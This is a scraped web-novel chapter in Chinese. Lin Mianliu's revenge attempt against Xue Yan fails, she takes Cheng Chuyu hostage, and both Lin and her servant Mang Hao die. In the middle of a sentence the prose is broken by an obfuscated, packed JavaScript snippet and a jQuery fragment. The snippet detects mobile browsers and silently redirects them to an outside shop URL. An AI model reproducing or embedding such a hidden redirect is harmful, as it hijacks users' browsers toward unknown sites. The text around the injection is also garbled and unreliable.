文趣网 > 其他小说 > 十七年谋他 > 39. 八万春-09
    什么都没有发生。

    她睁开眼睛,瞧着毒蛇像嫌弃她似的丝毫没有留恋地游走开,更别说露出毒牙。

    茫然看着,想不明白,它们为什么忽略自己。

    前方林眠柳收回了目光,转过身,继续专心致志向前走去,仿佛身后什么插曲都没有发生,抛下一切地往前走去。

    程楚鱼看清了霎时间,忽然严肃的神情,林眠柳冷静的五官,却炽热的瞳孔隐隐约约,被林子里斜下的树叶挡得七零八碎。

    “这个状态……”她默默呢喃,脑海中渐渐生出一团浆糊般的想法。

    思绪忽地“砰”,似乎捉住了什么关窍。

    林眠柳并不知道程楚鱼的思绪,整个人似乎陷入了一种忘我的执着中。

    “薛魇。”

    “薛魇。”

    “……薛魇。”

    小声反复念着这两字,光芒稀碎地打在脸上面容,嘴角翘起一点点弧度,眼眸情绪被淹没,只觉一阵即将来临的释然轻松。

    “林眠柳!”心神震动,一如石子猛地掷入水面,泛起涟漪的同时搅乱那些愈演愈烈的情绪。

    毫无征兆地止步,想起她对自己的关怀,有了动容地回过头,看向那个女子程楚鱼。

    程楚鱼匆匆赶上,“林眠柳,不要冲动。”

    不要冲动?

    她知道什么?

    她是在暗示什么吗?可是林眠柳心中只想发笑。

    掰开程楚鱼拽住自己的手指,像是早有准备这个聪明的女子会猜到,脸上并无太多意外,压低声音回她,“你懂什么?你知道我等这个机会等了多久吗!”

    听着林眠柳的咬牙切齿,楚鱼心中更是基本明白七七八八了。

    泛起心疼的情绪,此时此刻却顾不上说许多有营养的安慰话语,只反复着,“我明白的,我全部明白的。”但比谁都明白,如此单薄的话,并不能让早早失去世间依靠的小女孩信任。

    “我也是,我也是。”

    “他,也是我的仇人。”几乎不动嘴皮子,背对着打斗的薛魇,目光专注认真盯着林眠柳。

    那,自戳伤口可以唤回林眠柳的理智吗?

    听闻此话,林眠柳的瞳孔里生出了薄薄一层疑惑,似乎有些冷静了下来。

    于是程楚鱼再接再厉:“你现在冲出去,就一定保证能报仇吗?薛魇这种人,如果不能一击必中,下次机会你觉得你还会有吗?不如先试着听听我的计划,再不济你再冲出去杀他,也不晚。”

    她、她、她……?

    迟疑的空隙,芒皓带来的人一个一个地倒下,绿叶沾上红血,从薛魇的刀尖闪过他的眼前,飞溅到背对着他的程楚鱼脚下。

    林眠柳猛地醒转过来,发现自己已经错失最佳良机,愤恨地一把掐住程楚鱼的脖子,“芒皓,去杀了他!”

    “我,会为你助力。”阴沉仇恨地说完,挟持住程楚鱼同还在疑惑的薛魇形成对峙。

    程楚鱼看见那些毒物朝着薛魇靠近,余光里,芒皓不知从哪掏出了一柄沉重的生锈斧头。

    “主人,您,会如愿的。”芒皓深情地说。

    还从未在世间听过如此眷恋的声音。

    柔情,温和,有即将破釜沉舟的无畏,也有看见爱人得偿所愿的幸福,还有一点点此生再难相见的不舍。

    “芒,芒皓!”程楚鱼喊出,仿佛眼前已经预见到了这个男人的结局,不知缘由的,不希望芒皓送死。

    可叫不回来,已经打定主意的人,不会回来。

    与薛魇打斗“乒”的一声,照旧如期响起。

    “哼。”耳边响起林眠柳的不屑,对芒皓生死的在意甚至比程楚鱼还轻。

    这可让程楚鱼一时没转过弯来。

    是因为恨芒皓吗?恨这个男人囚禁?虐待?爱恨交加?所以利用?两败俱伤?

    不,不,林眠柳的态度显然不是如此。

    但程楚鱼甚至都已经想到了“爱恨交加”的情况。

    还能是因为什么呢?她想不明白,脑袋感到一股浆糊充盈。

    肚子忽然“咕噜咕噜”,又饿了吗?程楚鱼对自己颇有些无语至极。

    薛魇的脸颊上血迹斑斑,杀痛快了的他眼眸中尽是些亮晶晶的光彩,这是程楚鱼最害怕他的时候。

    每见他对杀戮的兴致时,总能令她不寒而栗,总能让她想起平日自己对薛魇的口无遮拦,想起自己是如何大胆,想起薛魇当时不温不火的纵容。

    万一,薛魇的那把刀,想划过她脖子了呢?

    就像他现在,对待芒皓一般,一如捏死一只毒蛇一样的漫不经心。

    而且,他还没有吃东西,近乎整夜的厮杀耗费了多少力气,在没有任何进食的情况下还能继续杀人、杀剧毒之物玩……

    这样的,还是人吗?程楚鱼的肚子又饿得响了,可她已经不在意这个事了,恐惧自她努力忘却的心底而发。

    芒皓倒下了,连同有些鸡肋的毒物们,尘埃落定般,宣告林眠柳的计划失败。

    林眠柳瞪着甩手靠近的薛魇,掐住程楚鱼脖子的手越发用劲,威胁着,眼眸里燃烧着不愿认输的火焰,“她的命,可在你的一念之间。”

    程楚鱼被夺住了声带,说不出清晰的话,她也看着宛如地狱爬出来的恶灵仍旧一步一步在接近。

    她很想张口告诉林眠柳,赶紧跑,薛魇不可能会因为她的命而放过一个试图挑衅他的人。

    可她说不出话。

    林眠柳用的力气实在有些大。

    不仅说不出话,连视线都有些模糊了。

    于是抬起僵硬麻木的手,拍了拍林眠柳掐住自己的手背,张了张嘴,以为自己应该把意思传达了。

    “说什么为我着想的好话!什么你也是如此!什么杀掉薛魇的好计谋!统统都是骗人的!不过是缓兵之计,是你和这个罪该万死的人合起伙来欺骗我!是你想要救他的法子!”

    林眠柳的情绪崩堤了,大吼大叫的声音穿透进程楚鱼的耳膜,纵使人的意识开始涣散了,也好像硬是拉回来了一点点。

    怎么办?好像适得其反了,怎么还刺激到了林眠柳?她木然地想着。

    “她没有骗你。”突然响起了一道男声。

    林眠柳顿住了,“什么?”

    “程楚鱼,她从一开始就很想亲自救你。可你选择向我求助,为此,她应该还怀疑过是不是自己能力不济。”

    是,是薛魇的声音吗?她感觉到自己浑身的无力,被人强行提溜站着。

    “我不知道为什么,但你说她想杀我,这的确是她的肺腑之言。”薛魇停在她们几步开外,漫不经心用袖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755253|204013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子擦起他宽刀上的血。

    “而且这么一想,或许是她早早看出了你对我的恨意,想要费心拉拢你,作为她报仇的刀,何况对于她来说,还是全了你心愿的一举两得。”

    林眠柳看着怀中脱力的女子,万分悲恸动摇,可是也不敢失去理智的松手。

    “不是的,程楚鱼只是固执想救出我,以至于聪明的她频频冒傻气。”

    “哦?”反倒是薛魇不信地挑了挑眉。

    “薛魇,我恨你!去死吧!”林眠柳激愤的尖叫响彻树林,赶跑了一群小憩的飞鸟,已经被掐得昏厥的程楚鱼软绵绵地栽进了落叶堆里,随她倒下的,还有口中涌出鲜血的林眠柳。

    明白自己败局已定,明白自己再也没有机会,明白自己不该辜负……于是就等同于自戕一般,留下最后绝唱。

    薛魇的出招,快、准、狠,从不因为别的任何事情而误了防备和反击。

    林眠柳武力不敌他,注定报仇无果。

    只是倒下时,恰好倒在了程楚鱼身边,眼睛里满是她昏死过去的容颜。

    这个女子……笨得要命,林眠柳心想。

    救人,救人,有没有想过,人根本就不需要她救?

    反而嫌弃她坏事、多事!

    傻死了,要是没有她,没准我都已经报仇成功了,林眠柳闭眼前,不忿地想着念着,眼角却流出一滴泪。

    傻子、笨蛋。

    我这辈子,还没遇见过这么笨的人。

    这么……对我的安危,这么挂念上心的人……除了,除了,我的爹娘。

    林眠柳痴痴地注视着程楚鱼,身上的痛都轻了不少。

    薛魇捡了一把石头粒,迅速洞穿了自己的身体。

    弥留之际,如同方才程楚鱼的样子张了张口,也一样的什么声音都没有发出。

    *

    “程楚鱼!醒醒!”薛魇一脸不耐烦拍拍她的脸蛋,没在意间指尖莫名沾上了一滴水,惹得他更加觉得麻烦至极。

    低头看去才发觉,程楚鱼的眼角,也流出一滴泪水。

    “……”他推开已经断气的林眠柳,注视着安静“异常”的程楚鱼。

    此时此刻,他的肚子也终于开始“咕噜咕噜”。

    光影被树叶碎得七块八块,程楚鱼从窒息中缓缓醒来,一睁眼便看见靠在大树树干上,偏头睡着了的薛魇。

    空中的血腥味散得不完全,她的话如鲠在喉,对薛魇无话可说。

    闭上眼又缓了会,挪了挪脑袋,才突然惊觉自己竟是躺在薛魇腿上,立马浑身不舒服地挣扎起来。

    “别费劲了,安分会吧。”薛魇闭着眼同她说。

    程楚鱼才意识到,按薛魇的警觉度,八成在自己第一次睁眼醒来时,他就也已经清醒了,所以假装睡着是想试探自己吗?

    那他要落空了,因为自己,还没有恢复完全,而且这不是一个杀他的好时机,他应该也知道。

    “薛魇,我知道了。”枕在薛魇的腿上,注视着他轻轻说,“是反的。”

    “什么是反的?”从始至终,他都没有睁眼,就像他也没有开口问程楚鱼,想要与林眠柳合谋杀自己的事情。

    “关系,是反的。”

    “林眠柳与芒皓之间,是林眠柳囚禁虐待芒皓。”程楚鱼说话还有些虚弱。